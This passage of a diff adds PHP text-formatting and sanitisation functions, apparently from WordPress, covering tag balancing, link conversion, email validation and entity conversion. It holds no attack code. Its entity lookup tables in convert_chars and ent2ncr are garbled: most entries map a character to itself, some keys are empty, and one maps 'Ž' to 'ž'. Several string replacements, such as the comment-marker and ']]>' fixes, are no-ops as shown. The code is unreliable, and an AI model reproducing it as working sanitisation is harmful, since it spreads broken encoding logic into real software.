preg_replace('|%[a-fA-F0-9][a-fA-F0-9]|', '', $class); + + //Limit to A-Z,a-z,0-9,'-' + $sanitized = preg_replace('/[^A-Za-z0-9-]/', '', $sanitized); + + if ('' == $sanitized) + $sanitized = $fallback; + + return apply_filters('sanitize_html_class',$sanitized, $class, $fallback); +} + +/** + * Converts a number of characters from a string. + * + * Metadata tags <> and <<category>> are removed, <<br>> and <<hr>> are + * converted into correct XHTML and Unicode characters are converted to the + * valid range. + * + * @since 0.71 + * + * @param string $content String of characters to be converted. + * @param string $deprecated Not used. + * @return string Converted string. + */ +function convert_chars($content, $deprecated = '') { + // Translation of invalid Unicode references range to valid range + $wp_htmltranswinuni = array( + '€' => '€', // the Euro sign + '' => '', + '‚' => '‚', // these are Windows CP1252 specific characters + 'ƒ' => 'ƒ', // they would look weird on non-Windows browsers + '„' => '„', + '…' => '…', + '†' => '†', + '‡' => '‡', + 'ˆ' => 'ˆ', + '‰' => '‰', + 'Š' => 'Š', + '‹' => '‹', + 'Œ' => 'Œ', + '' => '', + 'Ž' => 'ž', + '' => '', + '' => '', + '‘' => '‘', + '’' => '’', + '“' => '“', + '”' => '”', + '•' => '•', + '–' => '–', + '—' => '—', + '˜' => '˜', + '™' => '™', + 'š' => 'š', + '›' => '›', + 'œ' => 'œ', + '' => '', + 'ž' => '', + 'Ÿ' => 'Ÿ' + ); + + // Remove metadata tags + $content = preg_replace('/<title>(.+?)<\/title>/','',$content); + $content = preg_replace('/<category>(.+?)<\/category>/','',$content); + + // Converts lone & characters into & (a.k.a. &) + $content = preg_replace('/&([^#])(?![a-z1-4]{1,8};)/i', '&$1', $content); + + // Fix Word pasting + $content = strtr($content, $wp_htmltranswinuni); + + // Just a little XHTML help + $content = str_replace('<br>', '<br />', $content); + $content = str_replace('<hr>', '<hr />', $content); + + return $content; +} + +/** + * Callback used to change %uXXXX to &#YYY; syntax + * + * @since 2.8? + * + * @param array $matches Single Match + * @return string An HTML entity + */ +function funky_javascript_callback($matches) { + return "&#".base_convert($matches[1],16,10).";"; +} + +/** + * Fixes javascript bugs in browsers. + * + * Converts unicode characters to HTML numbered entities. + * + * @since 1.5.0 + * @uses $is_macIE + * @uses $is_winIE + * + * @param string $text Text to be made safe. + * @return string Fixed text. + */ +function funky_javascript_fix($text) { + // Fixes for browsers' javascript bugs + global $is_macIE, $is_winIE; + + if ( $is_winIE || $is_macIE ) + $text = preg_replace_callback("/\%u([0-9A-F]{4,4})/", + "funky_javascript_callback", + $text); + + return $text; +} + +/** + * Will only balance the tags if forced to and the option is set to balance tags. + * + * The option 'use_balanceTags' is used for whether the tags will be balanced. + * Both the $force parameter and 'use_balanceTags' option will have to be true + * before the tags will be balanced. + * + * @since 0.71 + * + * @param string $text Text to be balanced + * @param bool $force Forces balancing, ignoring the value of the option. Default false. + * @return string Balanced text + */ +function balanceTags( $text, $force = false ) { + if ( !$force && get_option('use_balanceTags') == 0 ) + return $text; + return force_balance_tags( $text ); +} + +/** + * Balances tags of string using a modified stack. + * + * @since 2.0.4 + * + * @author Leonard Lin <leonard@acm.org> + * @license GPL v2.0 + * @copyright November 4, 2001 + * @version 1.1 + * @todo Make better - change loop condition to $text in 1.2 + * @internal Modified by Scott Reilly (coffee2code) 02 Aug 2004 + * 1.1 Fixed handling of append/stack pop order of end text + * Added Cleaning Hooks + * 1.0 First Version + * + * @param string $text Text to be balanced. + * @return string Balanced text. + */ +function force_balance_tags( $text ) { + $tagstack = array(); $stacksize = 0; $tagqueue = ''; $newtext = ''; + $single_tags = array('br', 'hr', 'img', 'input'); //Known single-entity/self-closing tags + $nestable_tags = array('blockquote', 'div', 'span'); //Tags that can be immediately nested within themselves + + # WP bug fix for comments - in case you REALLY meant to type '< !--' + $text = str_replace('< !--', '< !--', $text); + # WP bug fix for LOVE <3 (and other situations with '<' before a number) + $text = preg_replace('#<([0-9]{1})#', '<$1', $text); + + while (preg_match("/<(\/?\w*)\s*([^>]*)>/",$text,$regex)) { + $newtext .= $tagqueue; + + $i = strpos($text,$regex[0]); + $l = strlen($regex[0]); + + // clear the shifter + $tagqueue = ''; + // Pop or Push + if ( isset($regex[1][0]) && '/' == $regex[1][0] ) { // End Tag + $tag = strtolower(substr($regex[1],1)); + // if too many closing tags + if($stacksize <= 0) { + $tag = ''; + //or close to be safe $tag = '/' . $tag; + } + // if stacktop value = tag close value then pop + else if ($tagstack[$stacksize - 1] == $tag) { // found closing tag + $tag = '</' . $tag . '>'; // Close Tag + // Pop + array_pop ($tagstack); + $stacksize--; + } else { // closing tag not at top, search for it + for ($j=$stacksize-1;$j>=0;$j--) { + if ($tagstack[$j] == $tag) { + // add tag to tagqueue + for ($k=$stacksize-1;$k>=$j;$k--){ + $tagqueue .= '</' . array_pop ($tagstack) . '>'; + $stacksize--; + } + break; + } + } + $tag = ''; + } + } else { // Begin Tag + $tag = strtolower($regex[1]); + + // Tag Cleaning + + // If self-closing or '', don't do anything. + if((substr($regex[2],-1) == '/') || ($tag == '')) { + } + // ElseIf it's a known single-entity tag but it doesn't close itself, do so + elseif ( in_array($tag, $single_tags) ) { + $regex[2] .= '/'; + } else { // Push the tag onto the stack + // If the top of the stack is the same as the tag we want to push, close previous tag + if (($stacksize > 0) && !in_array($tag, $nestable_tags) && ($tagstack[$stacksize - 1] == $tag)) { + $tagqueue = '</' . array_pop ($tagstack) . '>'; + $stacksize--; + } + $stacksize = array_push ($tagstack, $tag); + } + + // Attributes + $attributes = $regex[2]; + if($attributes) { + $attributes = ' '.$attributes; + } + $tag = '<'.$tag.$attributes.'>'; + //If already queuing a close tag, then put this tag on, too + if ($tagqueue) { + $tagqueue .= $tag; + $tag = ''; + } + } + $newtext .= substr($text,0,$i) . $tag; + $text = substr($text,$i+$l); + } + + // Clear Tag Queue + $newtext .= $tagqueue; + + // Add Remaining text + $newtext .= $text; + + // Empty Stack + while($x = array_pop($tagstack)) { + $newtext .= '</' . $x . '>'; // Add remaining tags to close + } + + // WP fix for the bug with HTML comments + $newtext = str_replace("< !--","<!--",$newtext); + $newtext = str_replace("< !--","< !--",$newtext); + + return $newtext; +} + +/** + * Acts on text which is about to be edited. + * + * Unless $richedit is set, it is simply a holder for the 'format_to_edit' + * filter. If $richedit is set true htmlspecialchars() will be run on the + * content, converting special characters to HTMl entities. + * + * @since 0.71 + * + * @param string $content The text about to be edited. + * @param bool $richedit Whether or not the $content should pass through htmlspecialchars(). Default false. + * @return string The text after the filter (and possibly htmlspecialchars()) has been run. + */ +function format_to_edit($content, $richedit = false) { + $content = apply_filters('format_to_edit', $content); + if (! $richedit ) + $content = htmlspecialchars($content); + return $content; +} + +/** + * Holder for the 'format_to_post' filter. + * + * @since 0.71 + * + * @param string $content The text to pass through the filter. + * @return string Text returned from the 'format_to_post' filter. + */ +function format_to_post($content) { + $content = apply_filters('format_to_post', $content); + return $content; +} + +/** + * Add leading zeros when necessary. + * + * If you set the threshold to '4' and the number is '10', then you will get + * back '0010'. If you set the number to '4' and the number is '5000', then you + * will get back '5000'. + * + * Uses sprintf to append the amount of zeros based on the $threshold parameter + * and the size of the number. If the number is large enough, then no zeros will + * be appended. + * + * @since 0.71 + * + * @param mixed $number Number to append zeros to if not greater than threshold. + * @param int $threshold Digit places number needs to be to not have zeros added. + * @return string Adds leading zeros to number if needed. + */ +function zeroise($number, $threshold) { + return sprintf('%0'.$threshold.'s', $number); +} + +/** + * Adds backslashes before letters and before a number at the start of a string. + * + * @since 0.71 + * + * @param string $string Value to which backslashes will be added. + * @return string String with backslashes inserted. + */ +function backslashit($string) { + $string = preg_replace('/^([0-9])/', '\\\\\\\\\1', $string); + $string = preg_replace('/([a-z])/i', '\\\\\1', $string); + return $string; +} + +/** + * Appends a trailing slash. + * + * Will remove trailing slash if it exists already before adding a trailing + * slash. This prevents double slashing a string or path. + * + * The primary use of this is for paths and thus should be used for paths. It is + * not restricted to paths and offers no specific path support. + * + * @since 1.2.0 + * @uses untrailingslashit() Unslashes string if it was slashed already. + * + * @param string $string What to add the trailing slash to. + * @return string String with trailing slash added. + */ +function trailingslashit($string) { + return untrailingslashit($string) . '/'; +} + +/** + * Removes trailing slash if it exists. + * + * The primary use of this is for paths and thus should be used for paths. It is + * not restricted to paths and offers no specific path support. + * + * @since 2.2.0 + * + * @param string $string What to remove the trailing slash from. + * @return string String without the trailing slash. + */ +function untrailingslashit($string) { + return rtrim($string, '/'); +} + +/** + * Adds slashes to escape strings. + * + * Slashes will first be removed if magic_quotes_gpc is set, see {@link + * http://www.php.net/magic_quotes} for more details. + * + * @since 0.71 + * + * @param string $gpc The string returned from HTTP request data. + * @return string Returns a string escaped with slashes. + */ +function addslashes_gpc($gpc) { + global $wpdb; + + if (get_magic_quotes_gpc()) { + $gpc = stripslashes($gpc); + } + + return esc_sql($gpc); +} + +/** + * Navigates through an array and removes slashes from the values. + * + * If an array is passed, the array_map() function causes a callback to pass the + * value back to the function. The slashes from this value will removed. + * + * @since 2.0.0 + * + * @param array|string $value The array or string to be striped. + * @return array|string Stripped array (or string in the callback). + */ +function stripslashes_deep($value) { + $value = is_array($value) ? array_map('stripslashes_deep', $value) : stripslashes($value); + return $value; +} + +/** + * Navigates through an array and encodes the values to be used in a URL. + * + * Uses a callback to pass the value of the array back to the function as a + * string. + * + * @since 2.2.0 + * + * @param array|string $value The array or string to be encoded. + * @return array|string $value The encoded array (or string from the callback). + */ +function urlencode_deep($value) { + $value = is_array($value) ? array_map('urlencode_deep', $value) : urlencode($value); + return $value; +} + +/** + * Converts email addresses characters to HTML entities to block spam bots. + * + * @since 0.71 + * + * @param string $emailaddy Email address. + * @param int $mailto Optional. Range from 0 to 1. Used for encoding. + * @return string Converted email address. + */ +function antispambot($emailaddy, $mailto=0) { + $emailNOSPAMaddy = ''; + srand ((float) microtime() * 1000000); + for ($i = 0; $i < strlen($emailaddy); $i = $i + 1) { + $j = floor(rand(0, 1+$mailto)); + if ($j==0) { + $emailNOSPAMaddy .= '&#'.ord(substr($emailaddy,$i,1)).';'; + } elseif ($j==1) { + $emailNOSPAMaddy .= substr($emailaddy,$i,1); + } elseif ($j==2) { + $emailNOSPAMaddy .= '%'.zeroise(dechex(ord(substr($emailaddy, $i, 1))), 2); + } + } + $emailNOSPAMaddy = str_replace('@','@',$emailNOSPAMaddy); + return $emailNOSPAMaddy; +} + +/** + * Callback to convert URI match to HTML A element. + * + * This function was backported from 2.5.0 to 2.3.2. Regex callback for {@link + * make_clickable()}. + * + * @since 2.3.2 + * @access private + * + * @param array $matches Single Regex Match. + * @return string HTML A element with URI address. + */ +function _make_url_clickable_cb($matches) { + $url = $matches[2]; + + $url = esc_url($url); + if ( empty($url) ) + return $matches[0]; + + return $matches[1] . "<a href=\"$url\" rel=\"nofollow\">$url</a>"; +} + +/** + * Callback to convert URL match to HTML A element. + * + * This function was backported from 2.5.0 to 2.3.2. Regex callback for {@link + * make_clickable()}. + * + * @since 2.3.2 + * @access private + * + * @param array $matches Single Regex Match. + * @return string HTML A element with URL address. + */ +function _make_web_ftp_clickable_cb($matches) { + $ret = ''; + $dest = $matches[2]; + $dest = 'http://' . $dest; + $dest = esc_url($dest); + if ( empty($dest) ) + return $matches[0]; + + // removed trailing [.,;:)] from URL + if ( in_array( substr($dest, -1), array('.', ',', ';', ':', ')') ) === true ) { + $ret = substr($dest, -1); + $dest = substr($dest, 0, strlen($dest)-1); + } + return $matches[1] . "<a href=\"$dest\" rel=\"nofollow\">$dest</a>$ret"; +} + +/** + * Callback to convert email address match to HTML A element. + * + * This function was backported from 2.5.0 to 2.3.2. Regex callback for {@link + * make_clickable()}. + * + * @since 2.3.2 + * @access private + * + * @param array $matches Single Regex Match. + * @return string HTML A element with email address. + */ +function _make_email_clickable_cb($matches) { + $email = $matches[2] . '@' . $matches[3]; + return $matches[1] . "<a href=\"mailto:$email\">$email</a>"; +} + +/** + * Convert plaintext URI to HTML links. + * + * Converts URI, www and ftp, and email addresses. Finishes by fixing links + * within links. + * + * @since 0.71 + * + * @param string $ret Content to convert URIs. + * @return string Content with converted URIs. + */ +function make_clickable($ret) { + $ret = ' ' . $ret; + // in testing, using arrays here was found to be faster + $ret = preg_replace_callback('#(?<=[\s>])(\()?([\w]+?://(?:[\w\\x80-\\xff\#$%&~/=?@\[\](+-]|[.,;:](?![\s<]|(\))?([\s]|$))|(?(1)\)(?![\s<.,;:]|$)|\)))+)#is', '_make_url_clickable_cb', $ret); + $ret = preg_replace_callback('#([\s>])((www|ftp)\.[\w\\x80-\\xff\#$%&~/.\-;:=,?@\[\]+]+)#is', '_make_web_ftp_clickable_cb', $ret); + $ret = preg_replace_callback('#([\s>])([.0-9a-z_+-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,})#i', '_make_email_clickable_cb', $ret); + // this one is not in an array because we need it to run last, for cleanup of accidental links within links + $ret = preg_replace("#(<a( [^>]+?>|>))<a [^>]+?>([^>]+?)</a></a>#i", "$1$3</a>", $ret); + $ret = trim($ret); + return $ret; +} + +/** + * Adds rel nofollow string to all HTML A elements in content. + * + * @since 1.5.0 + * + * @param string $text Content that may contain HTML A elements. + * @return string Converted content. + */ +function wp_rel_nofollow( $text ) { + global $wpdb; + // This is a pre save filter, so text is already escaped. + $text = stripslashes($text); + $text = preg_replace_callback('|<a (.+?)>|i', 'wp_rel_nofollow_callback', $text); + $text = esc_sql($text); + return $text; +} + +/** + * Callback to used to add rel=nofollow string to HTML A element. + * + * Will remove already existing rel="nofollow" and rel='nofollow' from the + * string to prevent from invalidating (X)HTML. + * + * @since 2.3.0 + * + * @param array $matches Single Match + * @return string HTML A Element with rel nofollow. + */ +function wp_rel_nofollow_callback( $matches ) { + $text = $matches[1]; + $text = str_replace(array(' rel="nofollow"', " rel='nofollow'"), '', $text); + return "<a $text rel=\"nofollow\">"; +} + + +/** + * Convert one smiley code to the icon graphic file equivalent. + * + * Looks up one smiley code in the $wpsmiliestrans global array and returns an + * <img> string for that smiley. + * + * @global array $wpsmiliestrans + * @since 2.8.0 + * + * @param string $smiley Smiley code to convert to image. + * @return string Image string for smiley. + */ +function translate_smiley($smiley) { + global $wpsmiliestrans; + + if (count($smiley) == 0) { + return ''; + } + + $siteurl = get_option( 'siteurl' ); + + $smiley = trim(reset($smiley)); + $img = $wpsmiliestrans[$smiley]; + $smiley_masked = esc_attr($smiley); + + $srcurl = apply_filters('smilies_src', "$siteurl/wp-includes/images/smilies/$img", $img, $siteurl); + + return " <img src='$srcurl' alt='$smiley_masked' class='wp-smiley' /> "; +} + + +/** + * Convert text equivalent of smilies to images. + * + * Will only convert smilies if the option 'use_smilies' is true and the global + * used in the function isn't empty. + * + * @since 0.71 + * @uses $wp_smiliessearch + * + * @param string $text Content to convert smilies from text. + * @return string Converted content with text smilies replaced with images. + */ +function convert_smilies($text) { + global $wp_smiliessearch; + $output = ''; + if ( get_option('use_smilies') && !empty($wp_smiliessearch) ) { + // HTML loop taken from texturize function, could possible be consolidated + $textarr = preg_split("/(<.*>)/U", $text, -1, PREG_SPLIT_DELIM_CAPTURE); // capture the tags as well as in between + $stop = count($textarr);// loop stuff + for ($i = 0; $i < $stop; $i++) { + $content = $textarr[$i]; + if ((strlen($content) > 0) && ('<' != $content{0})) { // If it's not a tag + $content = preg_replace_callback($wp_smiliessearch, 'translate_smiley', $content); + } + $output .= $content; + } + } else { + // return default text. + $output = $text; + } + return $output; +} + +/** + * Verifies that an email is valid. + * + * Does not grok i18n domains. Not RFC compliant. + * + * @since 0.71 + * + * @param string $email Email address to verify. + * @param boolean $check_dns Whether to check the DNS for the domain using checkdnsrr(). + * @return string|bool Either false or the valid email address. + */ +function is_email( $email, $check_dns = false ) { + // Test for the minimum length the email can be + if ( strlen( $email ) < 3 ) { + return apply_filters( 'is_email', false, $email, 'email_too_short' ); + } + + // Test for an @ character after the first position + if ( strpos( $email, '@', 1 ) === false ) { + return apply_filters( 'is_email', false, $email, 'email_no_at' ); + } + + // Split out the local and domain parts + list( $local, $domain ) = explode( '@', $email, 2 ); + + // LOCAL PART + // Test for invalid characters + if ( !preg_match( '/^[a-zA-Z0-9!#$%&\'*+\/=?^_`{|}~\.-]+$/', $local ) ) { + return apply_filters( 'is_email', false, $email, 'local_invalid_chars' ); + } + + // DOMAIN PART + // Test for sequences of periods + if ( preg_match( '/\.{2,}/', $domain ) ) { + return apply_filters( 'is_email', false, $email, 'domain_period_sequence' ); + } + + // Test for leading and trailing periods and whitespace + if ( trim( $domain, " \t\n\r\0\x0B." ) !== $domain ) { + return apply_filters( 'is_email', false, $email, 'domain_period_limits' ); + } + + // Split the domain into subs + $subs = explode( '.', $domain ); + + // Assume the domain will have at least two subs + if ( 2 > count( $subs ) ) { + return apply_filters( 'is_email', false, $email, 'domain_no_periods' ); + } + + // Loop through each sub + foreach ( $subs as $sub ) { + // Test for leading and trailing hyphens and whitespace + if ( trim( $sub, " \t\n\r\0\x0B-" ) !== $sub ) { + return apply_filters( 'is_email', false, $email, 'sub_hyphen_limits' ); + } + + // Test for invalid characters + if ( !preg_match('/^[a-z0-9-]+$/i', $sub ) ) { + return apply_filters( 'is_email', false, $email, 'sub_invalid_chars' ); + } + } + + // DNS + // Check the domain has a valid MX and A resource record + if ( $check_dns && function_exists( 'checkdnsrr' ) && !( checkdnsrr( $domain . '.', 'MX' ) || checkdnsrr( $domain . '.', 'A' ) ) ) { + return apply_filters( 'is_email', false, $email, 'dns_no_rr' ); + } + + // Congratulations your email made it! + return apply_filters( 'is_email', $email, $email, null ); +} + +/** + * Convert to ASCII from email subjects. + * + * @since 1.2.0 + * @usedby wp_mail() handles charsets in email subjects + * + * @param string $string Subject line + * @return string Converted string to ASCII + */ +function wp_iso_descrambler($string) { + /* this may only work with iso-8859-1, I'm afraid */ + if (!preg_match('#\=\?(.+)\?Q\?(.+)\?\=#i', $string, $matches)) { + return $string; + } else { + $subject = str_replace('_', ' ', $matches[2]); + $subject = preg_replace_callback('#\=([0-9a-f]{2})#i', create_function('$match', 'return chr(hexdec(strtolower($match[1])));'), $subject); + return $subject; + } +} + +/** + * Returns a date in the GMT equivalent. + * + * Requires and returns a date in the Y-m-d H:i:s format. Simply subtracts the + * value of the 'gmt_offset' option. Return format can be overridden using the + * $format parameter + * + * @since 1.2.0 + * + * @uses get_option() to retrieve the the value of 'gmt_offset'. + * @param string $string The date to be converted. + * @param string $format The format string for the returned date (default is Y-m-d H:i:s) + * @return string GMT version of the date provided. + */ +function get_gmt_from_date($string, $format = 'Y-m-d H:i:s') { + preg_match('#([0-9]{1,4})-([0-9]{1,2})-([0-9]{1,2}) ([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2})#', $string, $matches); + $string_time = gmmktime($matches[4], $matches[5], $matches[6], $matches[2], $matches[3], $matches[1]); + $string_gmt = gmdate($format, $string_time - get_option('gmt_offset') * 3600); + return $string_gmt; +} + +/** + * Converts a GMT date into the correct format for the blog. + * + * Requires and returns in the Y-m-d H:i:s format. Simply adds the value of + * gmt_offset.Return format can be overridden using the $format parameter + * + * @since 1.2.0 + * + * @param string $string The date to be converted. + * @param string $format The format string for the returned date (default is Y-m-d H:i:s) + * @return string Formatted date relative to the GMT offset. + */ +function get_date_from_gmt($string, $format = 'Y-m-d H:i:s') { + preg_match('#([0-9]{1,4})-([0-9]{1,2})-([0-9]{1,2}) ([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2})#', $string, $matches); + $string_time = gmmktime($matches[4], $matches[5], $matches[6], $matches[2], $matches[3], $matches[1]); + $string_localtime = gmdate($format, $string_time + get_option('gmt_offset')*3600); + return $string_localtime; +} + +/** + * Computes an offset in seconds from an iso8601 timezone. + * + * @since 1.5.0 + * + * @param string $timezone Either 'Z' for 0 offset or '±hhmm'. + * @return int|float The offset in seconds. + */ +function iso8601_timezone_to_offset($timezone) { + // $timezone is either 'Z' or '[+|-]hhmm' + if ($timezone == 'Z') { + $offset = 0; + } else { + $sign = (substr($timezone, 0, 1) == '+') ? 1 : -1; + $hours = intval(substr($timezone, 1, 2)); + $minutes = intval(substr($timezone, 3, 4)) / 60; + $offset = $sign * 3600 * ($hours + $minutes); + } + return $offset; +} + +/** + * Converts an iso8601 date to MySQL DateTime format used by post_date[_gmt]. + * + * @since 1.5.0 + * + * @param string $date_string Date and time in ISO 8601 format {@link http://en.wikipedia.org/wiki/ISO_8601}. + * @param string $timezone Optional. If set to GMT returns the time minus gmt_offset. Default is 'user'. + * @return string The date and time in MySQL DateTime format - Y-m-d H:i:s. + */ +function iso8601_to_datetime($date_string, $timezone = 'user') { + $timezone = strtolower($timezone); + + if ($timezone == 'gmt') { + + preg_match('#([0-9]{4})([0-9]{2})([0-9]{2})T([0-9]{2}):([0-9]{2}):([0-9]{2})(Z|[\+|\-][0-9]{2,4}){0,1}#', $date_string, $date_bits); + + if (!empty($date_bits[7])) { // we have a timezone, so let's compute an offset + $offset = iso8601_timezone_to_offset($date_bits[7]); + } else { // we don't have a timezone, so we assume user local timezone (not server's!) + $offset = 3600 * get_option('gmt_offset'); + } + + $timestamp = gmmktime($date_bits[4], $date_bits[5], $date_bits[6], $date_bits[2], $date_bits[3], $date_bits[1]); + $timestamp -= $offset; + + return gmdate('Y-m-d H:i:s', $timestamp); + + } else if ($timezone == 'user') { + return preg_replace('#([0-9]{4})([0-9]{2})([0-9]{2})T([0-9]{2}):([0-9]{2}):([0-9]{2})(Z|[\+|\-][0-9]{2,4}){0,1}#', '$1-$2-$3 $4:$5:$6', $date_string); + } +} + +/** + * Adds a element attributes to open links in new windows. + * + * Comment text in popup windows should be filtered through this. Right now it's + * a moderately dumb function, ideally it would detect whether a target or rel + * attribute was already there and adjust its actions accordingly. + * + * @since 0.71 + * + * @param string $text Content to replace links to open in a new window. + * @return string Content that has filtered links. + */ +function popuplinks($text) { + $text = preg_replace('/<a (.+?)>/i', "<a $1 target='_blank' rel='external'>", $text); + return $text; +} + +/** + * Strips out all characters that are not allowable in an email. + * + * @since 1.5.0 + * + * @param string $email Email address to filter. + * @return string Filtered email address. + */ +function sanitize_email( $email ) { + // Test for the minimum length the email can be + if ( strlen( $email ) < 3 ) { + return apply_filters( 'sanitize_email', '', $email, 'email_too_short' ); + } + + // Test for an @ character after the first position + if ( strpos( $email, '@', 1 ) === false ) { + return apply_filters( 'sanitize_email', '', $email, 'email_no_at' ); + } + + // Split out the local and domain parts + list( $local, $domain ) = explode( '@', $email, 2 ); + + // LOCAL PART + // Test for invalid characters + $local = preg_replace( '/[^a-zA-Z0-9!#$%&\'*+\/=?^_`{|}~\.-]/', '', $local ); + if ( '' === $local ) { + return apply_filters( 'sanitize_email', '', $email, 'local_invalid_chars' ); + } + + // DOMAIN PART + // Test for sequences of periods + $domain = preg_replace( '/\.{2,}/', '', $domain ); + if ( '' === $domain ) { + return apply_filters( 'sanitize_email', '', $email, 'domain_period_sequence' ); + } + + // Test for leading and trailing periods and whitespace + $domain = trim( $domain, " \t\n\r\0\x0B." ); + if ( '' === $domain ) { + return apply_filters( 'sanitize_email', '', $email, 'domain_period_limits' ); + } + + // Split the domain into subs + $subs = explode( '.', $domain ); + + // Assume the domain will have at least two subs + if ( 2 > count( $subs ) ) { + return apply_filters( 'sanitize_email', '', $email, 'domain_no_periods' ); + } + + // Create an array that will contain valid subs + $new_subs = array(); + + // Loop through each sub + foreach ( $subs as $sub ) { + // Test for leading and trailing hyphens + $sub = trim( $sub, " \t\n\r\0\x0B-" ); + + // Test for invalid characters + $sub = preg_replace( '/^[^a-z0-9-]+$/i', '', $sub ); + + // If there's anything left, add it to the valid subs + if ( '' !== $sub ) { + $new_subs[] = $sub; + } + } + + // If there aren't 2 or more valid subs + if ( 2 > count( $new_subs ) ) { + return apply_filters( 'sanitize_email', '', $email, 'domain_no_valid_subs' ); + } + + // Join valid subs into the new domain + $domain = join( '.', $new_subs ); + + // Put the email back together + $email = $local . '@' . $domain; + + // Congratulations your email made it! + return apply_filters( 'sanitize_email', $email, $email, null ); +} + +/** + * Determines the difference between two timestamps. + * + * The difference is returned in a human readable format such as "1 hour", + * "5 mins", "2 days". + * + * @since 1.5.0 + * + * @param int $from Unix timestamp from which the difference begins. + * @param int $to Optional. Unix timestamp to end the time difference. Default becomes time() if not set. + * @return string Human readable time difference. + */ +function human_time_diff( $from, $to = '' ) { + if ( empty($to) ) + $to = time(); + $diff = (int) abs($to - $from); + if ($diff <= 3600) { + $mins = round($diff / 60); + if ($mins <= 1) { + $mins = 1; + } + $since = sprintf(_n('%s min', '%s mins', $mins), $mins); + } else if (($diff <= 86400) && ($diff > 3600)) { + $hours = round($diff / 3600); + if ($hours <= 1) { + $hours = 1; + } + $since = sprintf(_n('%s hour', '%s hours', $hours), $hours); + } elseif ($diff >= 86400) { + $days = round($diff / 86400); + if ($days <= 1) { + $days = 1; + } + $since = sprintf(_n('%s day', '%s days', $days), $days); + } + return $since; +} + +/** + * Generates an excerpt from the content, if needed. + * + * The excerpt word amount will be 55 words and if the amount is greater than + * that, then the string ' [...]' will be appended to the excerpt. If the string + * is less than 55 words, then the content will be returned as is. + * + * The 55 word limit can be modified by plugins/themes using the excerpt_length filter + * The ' [...]' string can be modified by plugins/themes using the excerpt_more filter + * + * @since 1.5.0 + * + * @param string $text The excerpt. If set to empty an excerpt is generated. + * @return string The excerpt. + */ +function wp_trim_excerpt($text) { + $raw_excerpt = $text; + if ( '' == $text ) { + $text = get_the_content(''); + + $text = strip_shortcodes( $text ); + + $text = apply_filters('the_content', $text); + $text = str_replace(']]>', ']]>', $text); + $text = strip_tags($text); + $excerpt_length = apply_filters('excerpt_length', 55); + $excerpt_more = apply_filters('excerpt_more', ' ' . '[...]'); + $words = explode(' ', $text, $excerpt_length + 1); + if (count($words) > $excerpt_length) { + array_pop($words); + $text = implode(' ', $words); + $text = $text . $excerpt_more; + } + } + return apply_filters('wp_trim_excerpt', $text, $raw_excerpt); +} + +/** + * Converts named entities into numbered entities. + * + * @since 1.5.1 + * + * @param string $text The text within which entities will be converted. + * @return string Text with converted entities. + */ +function ent2ncr($text) { + $to_ncr = array( + '"' => '"', + '&' => '&', + '⁄' => '/', + '<' => '<', + '>' => '>', + '|' => '|', + ' ' => ' ', + '¡' => '¡', + '¢' => '¢', + '£' => '£', + '¤' => '¤', + '¥' => '¥', + '¦' => '¦', + '&brkbar;' => '¦', + '§' => '§', + '¨' => '¨', + '¨' => '¨', + '©' => '©', + 'ª' => 'ª', + '«' => '«', + '¬' => '¬', + '­' => '­', + '®' => '®', + '¯' => '¯', + '&hibar;' => '¯', + '°' => '°', + '±' => '±', + '²' => '²', + '³' => '³', + '´' => '´', + 'µ' => 'µ', + '¶' => '¶', + '·' => '·', + '¸' => '¸', + '¹' => '¹', + 'º' => 'º', + '»' => '»', + '¼' => '¼', + '½' => '½', + '¾' => '¾', + '¿' => '¿', + 'À' => 'À', + 'Á' => 'Á', + 'Â' => 'Â', + 'Ã' => 'Ã', + 'Ä' => 'Ä', + 'Å' => 'Å', + 'Æ' => 'Æ', + 'Ç' => 'Ç', + 'È' => 'È', + 'É' => 'É', + 'Ê' => 'Ê', + 'Ë' => 'Ë', + 'Ì' => 'Ì', + 'Í' => 'Í', + 'Î' => 'Î', + 'Ï' => 'Ï', + 'Ð' => 'Ð', + 'Ñ' => 'Ñ', + 'Ò' => 'Ò', + 'Ó' => 'Ó', + 'Ô' => 'Ô', + 'Õ' => 'Õ', + 'Ö' => 'Ö', + '×' => '×', + 'Ø' => 'Ø', + 'Ù' => 'Ù', + 'Ú' => 'Ú', + 'Û' => 'Û', + 'Ü' => 'Ü', + 'Ý' => 'Ý', + 'Þ' => 'Þ', + 'ß' => 'ß', + 'à' => 'à', + 'á' => 'á', + 'â' => 'â', + 'ã' => 'ã', + 'ä' => 'ä', + 'å' => 'å', + 'æ' => 'æ', + 'ç' => 'ç', + 'è' => 'è', + 'é' => 'é', + 'ê' => 'ê', + 'ë' => 'ë', + 'ì' => 'ì', + 'í' => 'í', + 'î' => 'î', + 'ï' => 'ï', + 'ð' => 'ð', + 'ñ' => 'ñ', + 'ò' => 'ò', + 'ó' => 'ó', + 'ô' => 'ô', + 'õ' => 'õ', + 'ö' => 'ö', + '÷' => '÷', + 'ø' => 'ø', + 'ù' => 'ù', + 'ú' => 'ú', + 'û' => 'û', + 'ü' => 'ü', + 'ý' => 'ý', + 'þ' => 'þ', + 'ÿ' => 'ÿ', + 'Œ' => 'Œ', + 'œ' => 'œ', + 'Š' => 'Š', + 'š' => 'š', + 'Ÿ' => 'Ÿ', + 'ƒ' => 'ƒ', + 'ˆ' => 'ˆ', + '˜' => '˜', + 'Α' => 'Α', + 'Β' => 'Β', + 'Γ' => 'Γ', + 'Δ' => 'Δ', + 'Ε' => 'Ε', + 'Ζ' => 'Ζ', + 'Η' => 'Η', + 'Θ' => 'Θ', + 'Ι' => 'Ι', + 'Κ' => 'Κ', + 'Λ' => 'Λ', + 'Μ' => 'Μ', + 'Ν' => 'Ν', + 'Ξ' => 'Ξ', + 'Ο' => 'Ο', + 'Π' => 'Π', + 'Ρ' => 'Ρ', + 'Σ' => 'Σ', + 'Τ' => 'Τ', + 'Υ' => 'Υ', + 'Φ' => 'Φ', + 'Χ' => 'Χ', + 'Ψ' => 'Ψ', + 'Ω' => 'Ω', + 'α' => 'α', + 'β' => 'β', + 'γ' => 'γ', + 'δ' => 'δ', + 'ε' => 'ε', + 'ζ' => 'ζ', + 'η' => 'η', + 'θ' => 'θ', + 'ι' => 'ι', + 'κ' => 'κ', + 'λ' => 'λ', + 'μ' => 'μ', + 'ν' => 'ν', + 'ξ' => 'ξ', + 'ο' => 'ο', + 'π' => 'π', + 'ρ' => 'ρ', + 'ς' => 'ς', + 'σ' => 'σ', + 'τ' => 'τ', + 'υ' => 'υ', + 'φ' => 'φ', + 'χ' => 